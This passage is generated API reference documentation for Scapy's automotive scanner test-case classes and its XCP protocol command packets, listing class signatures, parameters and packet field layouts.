	Renders this Graph as PDF, if graphviz is installed.


	Parameters:

	
	filename – A filename for the rendered PDF.


	view – If True, rendered file will be opened.













	
property transition_functions: Dict[_Edge, '_TransitionTuple' | None]

	Get the dict of all TransistionTuples
:return:












            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.scanner.staged_test_case


	
class scapy.contrib.automotive.scanner.staged_test_case.StagedAutomotiveTestCase(test_cases: List[AutomotiveTestCaseABC], connectors: List[Callable[[AutomotiveTestCaseABC, AutomotiveTestCaseABC], Dict[str, Any]] | None] | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/staged_test_case.py#L37-L275]

	Bases: AutomotiveTestCaseABC, TestCaseGenerator, StateGenerator

Helper object to build a pipeline of TestCases. This allows to combine
TestCases and to execute them after each other. Custom connector functions
can be used to exchange and manipulate the configuration of a subsequent
TestCase.


	Parameters:

	
	test_cases – A list of objects following the AutomotiveTestCaseABC
interface


	connectors – A list of connector functions. A connector function
takes two TestCase objects and returns a dictionary which is provided
to the second TestCase as kwargs of the execute function.








Example

>>> class MyTestCase2(AutomotiveTestCaseABC):
>>>     pass
>>>
>>> class MyTestCase1(AutomotiveTestCaseABC):
>>>     pass
>>>
>>> def connector(testcase1, testcase2):
>>>     scan_range = len(testcase1.results)
>>>     return {"verbose": True, "scan_range": scan_range}
>>>
>>> tc1 = MyTestCase1()
>>> tc2 = MyTestCase2()
>>> pipeline = StagedAutomotiveTestCase([tc1, tc2], [None, connector])






	
property completed: bool

	




	
property current_connector: Callable[[AutomotiveTestCaseABC, AutomotiveTestCaseABC], Dict[str, Any]] | None

	




	
property current_test_case: AutomotiveTestCaseABC

	




	
execute(socket: SuperSocket | SingleConversationSocket, state: EcuState, **kwargs: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/staged_test_case.py#L211-L214]

	




	
get_generated_test_case() → AutomotiveTestCaseABC | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/staged_test_case.py#L125-L131]

	




	
get_new_edge(socket: _SocketUnion, config: AutomotiveTestCaseExecutorConfiguration) → _Edge | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/staged_test_case.py#L133-L141]

	




	
get_transition_function(socket: _SocketUnion, edge: _Edge) → _TransitionTuple | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/staged_test_case.py#L143-L149]

	




	
has_completed(state: EcuState) → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/staged_test_case.py#L151-L181]

	




	
post_execute(socket: _SocketUnion, state: EcuState, global_configuration: AutomotiveTestCaseExecutorConfiguration  # noqa: E501) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/staged_test_case.py#L216-L222]

	




	
pre_execute(socket: _SocketUnion, state: EcuState, global_configuration: AutomotiveTestCaseExecutorConfiguration  # noqa: E501) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/staged_test_case.py#L183-L209]

	




	
property previous_test_case: AutomotiveTestCaseABC | None

	




	
runtime_estimation() → Tuple[int, int, float] | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/staged_test_case.py#L262-L275]

	




	
show(dump: bool = False, filtered: bool = True, verbose: bool = False) → str | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/staged_test_case.py#L232-L244]

	




	
property supported_responses: List[EcuResponse]

	




	
property test_cases: List[AutomotiveTestCaseABC]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.scanner.test_case


	
class scapy.contrib.automotive.scanner.test_case.AutomotiveTestCase[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/test_case.py#L149-L237]

	Bases: AutomotiveTestCaseABC

Base class for TestCases


	
classmethod check_kwargs(kwargs: Dict[str, Any]) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/test_case.py#L164-L181]

	




	
property completed: bool

	




	
execute(socket: SuperSocket | SingleConversationSocket, state: EcuState, **kwargs: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/test_case.py#L201-L203]

	




	
has_completed(state: EcuState) → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/test_case.py#L160-L162]

	




	
post_execute(socket: _SocketUnion, state: EcuState, global_configuration: AutomotiveTestCaseExecutorConfiguration) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/test_case.py#L205-L207]

	




	
pre_execute(socket: _SocketUnion, state: EcuState, global_configuration: AutomotiveTestCaseExecutorConfiguration) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/test_case.py#L197-L199]

	




	
property scanned_states: Set[EcuState]

	Helper function to get all scanned states
:return: all scanned states






	
show(dump: bool = False, filtered: bool = True, verbose: bool = False) → str | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/test_case.py#L225-L237]

	








	
class scapy.contrib.automotive.scanner.test_case.AutomotiveTestCaseABC[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/test_case.py#L43-L146]

	Bases: object

Base class for “TestCase” objects. In automotive scanners, these TestCase
objects are used for individual tasks, for example enumerating over one
kind of functionality of the protocol. It is also possible, that
these TestCase objects execute complex tests on an ECU.
The TestCaseExecuter object has a list of TestCases. The executer
manipulates a device under test (DUT), to enter a certain state. In this
state, the TestCase object gets executed.


	
abstract property completed: bool

	Tells if this TestCase is completely executed
:return: True, if TestCase is completely executed






	
abstract execute(socket: SuperSocket | SingleConversationSocket, state: EcuState, **kwargs: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/test_case.py#L83-L94]

	Executes this TestCase for a given state


	Parameters:

	
	socket – Socket object with the connection to a DUT


	state – Current state of the DUT


	kwargs – Local configuration of the TestCasesExecutor






	Returns:

	










	
abstract has_completed(state: EcuState) → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/test_case.py#L57-L65]

	Tells if this TestCase was executed for a certain state
:param state: State of interest
:return: True, if TestCase was executed in the questioned state






	
abstract post_execute(socket: _SocketUnion, state: EcuState, global_configuration: AutomotiveTestCaseExecutorConfiguration  # noqa: E501) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/test_case.py#L96-L110]

	Will be executed subsequently to execute. This function can be used
for additional evaluations after the execute.


	Parameters:

	
	socket – Socket object with the connection to a DUT


	state – Current state of the DUT


	global_configuration – Configuration of the TestCaseExecutor













	
abstract pre_execute(socket: _SocketUnion, state: EcuState, global_configuration: AutomotiveTestCaseExecutorConfiguration  # noqa: E501) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/test_case.py#L67-L81]

	Will be executed previously to execute. This function can be used
to manipulate the configuration passed to execute.


	Parameters:

	
	socket – Socket object with the connection to a DUT


	state – Current state of the DUT


	global_configuration – Configuration of the TestCaseExecutor













	
abstract show(dump: bool = False, filtered: bool = True, verbose: bool = False) → str | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/test_case.py#L112-L126]

	Shows results of TestCase


	Parameters:

	
	dump – If True, the results will be returned; If False, the
results will be printed.


	filtered – If True, the negative responses will be filtered
dynamically.


	verbose – If True, additional information will be provided.






	Returns:

	test results of TestCase if parameter dump is True,
else None










	
abstract property supported_responses: List[EcuResponse]

	Tells the supported responses in TestCase
:return: The list of supported responses










	
class scapy.contrib.automotive.scanner.test_case.StateGenerator[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/test_case.py#L247-L270]

	Bases: object


	
abstract get_new_edge(socket: _SocketUnion, config: AutomotiveTestCaseExecutorConfiguration) → _Edge | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/test_case.py#L249-L252]

	




	
abstract get_transition_function(socket: _SocketUnion, edge: _Edge) → _TransitionTuple | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/test_case.py#L254-L270]

	
	Parameters:

	
	socket – Socket to target


	edge – Tuple of EcuState objects for the requested
transition function






	Returns:

	Returns an optional tuple consisting of a transition function,
a keyword arguments dictionary for the transition function
and a cleanup function. Both functions
take a Socket and the TestCaseExecutor configuration as
arguments and return True if the execution was successful.
The first function is the state enter function, the second
function is a cleanup function














	
class scapy.contrib.automotive.scanner.test_case.TestCaseGenerator[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/test_case.py#L240-L244]

	Bases: object


	
abstract get_generated_test_case() → AutomotiveTestCaseABC | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/scanner/test_case.py#L241-L244]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.volkswagen package

Package of contrib automotive bmw specific modules
that have to be loaded explicitly.


Submodules



	scapy.contrib.automotive.volkswagen.definitions









            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.volkswagen.definitions




            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.xcp package

Package of contrib automotive xcp specific modules
that have to be loaded explicitly.


Submodules



	scapy.contrib.automotive.xcp.cto_commands_master

	scapy.contrib.automotive.xcp.cto_commands_slave

	scapy.contrib.automotive.xcp.scanner

	scapy.contrib.automotive.xcp.utils

	scapy.contrib.automotive.xcp.xcp









            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.xcp.cto_commands_master


	
class scapy.contrib.automotive.xcp.cto_commands_master.AllocDaq(_pkt, /, *, reserved=0, daq_count=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L434-L439]

	Bases: Packet

Allocate DAQ lists


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    RESERVED   |           DAQ COUNT           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. AllocDaq                           


AllocDaq fields






	reserved

	ByteField

	0



	daq_count

	XCPEndiannessField

	0















	
class scapy.contrib.automotive.xcp.cto_commands_master.AllocOdt(_pkt, /, *, reserved=0, daq_list_num=0, odt_count=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L442-L448]

	Bases: Packet

Allocate ODTs to a DAQ list


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    RESERVED   |          DAQ LIST NUM         |   ODT COUNT   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. AllocOdt                           


AllocOdt fields






	reserved

	ByteField

	0



	daq_list_num

	XCPEndiannessField

	0



	odt_count

	ByteField

	0















	
class scapy.contrib.automotive.xcp.cto_commands_master.AllocOdtEntry(_pkt, /, *, reserved=0, daq_list_num=0, odt_num=0, odt_entries_count=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L451-L458]

	Bases: Packet

Allocate ODT entries to an ODT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    RESERVED   |          DAQ LIST NUM         |    ODT NUM    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|ODT ENTRIES COU|
+-+-+-+-+-+-+-+-+

                        Fig. AllocOdtEntry                        


AllocOdtEntry fields






	reserved

	ByteField

	0



	daq_list_num

	XCPEndiannessField

	0



	odt_num

	ByteField

	0



	odt_entries_count

	ByteField

	0















	
class scapy.contrib.automotive.xcp.cto_commands_master.BuildChecksum(_pkt, /, *, reserved=0, block_size=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L116-L125]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RESERVED                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           BLOCK SIZE                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. BuildChecksum                        


BuildChecksum fields






	reserved

	XCPEndiannessField

	0



	block_size

	XCPEndiannessField

	0















	
class scapy.contrib.automotive.xcp.cto_commands_master.ClearDaqList(_pkt, /, *, reserved=0, daq_list_num=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L418-L423]

	Bases: Packet

Clear DAQ list configuration


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    RESERVED   |          DAQ LIST NUM         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. ClearDaqList                         


ClearDaqList fields






	reserved

	ByteField

	0



	daq_list_num

	XCPEndiannessField

	0















	
class scapy.contrib.automotive.xcp.cto_commands_master.Connect(_pkt, /, *, connection_mode=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L20-L24]

	Bases: Packet


	
aliastypes

	




	
commands = {0: 'NORMAL', 1: 'USER_DEFINED'}

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|CONNECTION MODE|
+-+-+-+-+-+-+-+-+

                           Fig. Connect                           


Connect fields






	connection_mode

	ByteEnumField

	0















	
class scapy.contrib.automotive.xcp.cto_commands_master.CopyCalPage(_pkt, /, *, segment_num_src=0, page_num_src=0, segment_num_dst=0, page_num_dst=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L310-L319]

	Bases: Packet

This command forces the slave to copy one calibration page to another.
This command is only available if more than one calibration page is defined


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|SEGMENT NUM SRC|  PAGE NUM SRC |SEGMENT NUM DST|  PAGE NUM DST |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. CopyCalPage                         


CopyCalPage fields






	segment_num_src

	ByteField

	0



	page_num_src

	ByteField

	0



	segment_num_dst

	ByteField

	0



	page_num_dst

	ByteField

	0















	
class scapy.contrib.automotive.xcp.cto_commands_master.Disconnect(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L27-L29]

	Bases: Packet


	
aliastypes

	








	
class scapy.contrib.automotive.xcp.cto_commands_master.Download(_pkt, /, *, nr_of_data_elements=0, alignment=b'', data_elements=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L191-L202]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|NR OF DATA ELEM|           ALIGNMENT           | DATA ELEMENTS |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. Download                           


Download fields






	nr_of_data_elements

	ByteField

	0



	alignment

	StrLenField (Cond)

	b''



	data_elements

	StrLenField

	b''















	
class scapy.contrib.automotive.xcp.cto_commands_master.DownloadMax(_pkt, /, *, alignment=b'', data_elements=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L211-L219]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           ALIGNMENT           |         DATA ELEMENTS         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. DownloadMax                         


DownloadMax fields






	alignment

	StrLenField (Cond)

	b''



	data_elements

	StrLenField

	b''















	
class scapy.contrib.automotive.xcp.cto_commands_master.DownloadNext(_pkt, /, *, nr_of_data_elements=0, alignment=b'', data_elements=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L205-L208]

	Bases: Download


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|NR OF DATA ELEM|           ALIGNMENT           | DATA ELEMENTS |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. DownloadNext                         


DownloadNext fields






	nr_of_data_elements

	ByteField

	0



	alignment

	StrLenField (Cond)

	b''



	data_elements

	StrLenField

	b''















	
class scapy.contrib.automotive.xcp.cto_commands_master.FreeDaq(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L429-L431]

	Bases: Packet

Clear dynamic DAQ configuration


	
aliastypes

	








	
class scapy.contrib.automotive.xcp.cto_commands_master.GetCalPage(_pkt, /, *, access_mode=0, data_segment_num=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L254-L259]

	Bases: Packet

Get calibration page


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  ACCESS MODE  |DATA SEGMENT NU|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. GetCalPage                          


GetCalPage fields






	access_mode

	ByteField

	0



	data_segment_num

	ByteField

	0















	
class scapy.contrib.automotive.xcp.cto_commands_master.GetCommModeInfo(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L42-L44]

	Bases: Packet


	
aliastypes

	








	
class scapy.contrib.automotive.xcp.cto_commands_master.GetDaqClock(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L385-L387]

	Bases: Packet

Get DAQ clock from slave


	
aliastypes

	








	
class scapy.contrib.automotive.xcp.cto_commands_master.GetDaqEventInfo(_pkt, /, *, reserved=0, event_channel_num=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L408-L415]

	Bases: Packet

Get specific information for an event channel


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    RESERVED   |       EVENT CHANNEL NUM       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. GetDaqEventInfo                       


GetDaqEventInfo fields






	reserved

	ByteField

	0



	event_channel_num

	XCPEndiannessField

	0















	
class scapy.contrib.automotive.xcp.cto_commands_master.GetDaqListInfo(_pkt, /, *, reserved=0, daq_list_num=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L400-L405]

	Bases: Packet

Get specific information for a DAQ list


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    RESERVED   |          DAQ LIST NUM         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. GetDaqListInfo                        


GetDaqListInfo fields






	reserved

	ByteField

	0



	daq_list_num

	XCPEndiannessField

	0















	
class scapy.contrib.automotive.xcp.cto_commands_master.GetDaqListMode(_pkt, /, *, reserved=0, daq_list_number=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L355-L360]

	Bases: Packet

Get mode from DAQ list


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    RESERVED   |        DAQ LIST NUMBER        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. GetDaqListMode                        


GetDaqListMode fields






	reserved

	ByteField

	0



	daq_list_number

	XCPEndiannessField

	0















	
class scapy.contrib.automotive.xcp.cto_commands_master.GetDaqProcessorInfo(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L390-L392]

	Bases: Packet

Get general information on DAQ processor


	
aliastypes

	








	
class scapy.contrib.automotive.xcp.cto_commands_master.GetDaqResolutionInfo(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L395-L397]

	Bases: Packet

Get general information on DAQ processing resolutioin


	
aliastypes

	








	
class scapy.contrib.automotive.xcp.cto_commands_master.GetId(_pkt, /, *, identification_type=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L47-L55]

	Bases: Packet

Get identification from slave


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|IDENTIFICATION |
+-+-+-+-+-+-+-+-+

                            Fig. GetId                            


GetId fields






	identification_type

	ByteEnumField

	0











	
types = {0: 'ASCII', 1: 'file_name_without_path_and_extension', 2: 'file_name_with_path_and_extension', 3: 'URL', 4: 'File'}

	








	
class scapy.contrib.automotive.xcp.cto_commands_master.GetPagProcessorInfo(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L262-L264]

	Bases: Packet

Get general information on PAG processor


	
aliastypes

	








	
class scapy.contrib.automotive.xcp.cto_commands_master.GetPageInfo(_pkt, /, *, reserved=0, segment_number=0, page_number=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L284-L290]

	Bases: Packet

Get specific information for a PAGE


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    RESERVED   | SEGMENT NUMBER|  PAGE NUMBER  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. GetPageInfo                         


GetPageInfo fields






	reserved

	ByteField

	0



	segment_number

	ByteField

	0



	page_number

	ByteField

	0















	
class scapy.contrib.automotive.xcp.cto_commands_master.GetPgmProcessorInfo(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L489-L491]

	Bases: Packet

Get general information on PGM processor


	
aliastypes

	








	
class scapy.contrib.automotive.xcp.cto_commands_master.GetSectorInfo(_pkt, /, *, mode=0, sector_number=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L494-L500]

	Bases: Packet

Get specific information for a SECTOR


	
address_mode = {0: 'get_address', 1: 'get_length'}

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      MODE     | SECTOR NUMBER |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. GetSectorInfo                        


GetSectorInfo fields






	mode

	ByteEnumField

	0



	sector_number

	ByteField

	0















	
class scapy.contrib.automotive.xcp.cto_commands_master.GetSeed(_pkt, /, *, mode=0, resource=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L68-L75]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      MODE     |    RESOURCE   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. GetSeed                           


GetSeed fields






	mode

	ByteEnumField

	0



	resource

	ByteEnumField

	0











	
res = {0: 'resource', 1: 'ignore'}

	




	
seed_mode = {0: 'first', 1: 'remaining'}

	








	
class scapy.contrib.automotive.xcp.cto_commands_master.GetSegmentInfo(_pkt, /, *, mode=0, segment_number=0, segment_info=0, mapping_index=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L267-L281]

	Bases: Packet

Get specific information for a SEGMENT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      MODE     | SEGMENT NUMBER|  SEGMENT INFO | MAPPING INDEX |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. GetSegmentInfo                        


GetSegmentInfo fields






	mode

	ByteEnumField

	0



	segment_number

	ByteField

	0



	segment_info

	ByteField

	0



	mapping_index

	ByteField

	0











	
info_mode = {0: 'get_basic_address_info', 1: 'get_standard_info', 2: 'get_address_mapping_info'}

	








	
class scapy.contrib.automotive.xcp.cto_commands_master.GetSegmentMode(_pkt, /, *, reserved=0, segment_number=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L302-L307]

	Bases: Packet

Get mode for a SEGMENT


	
aliastypes

	




	
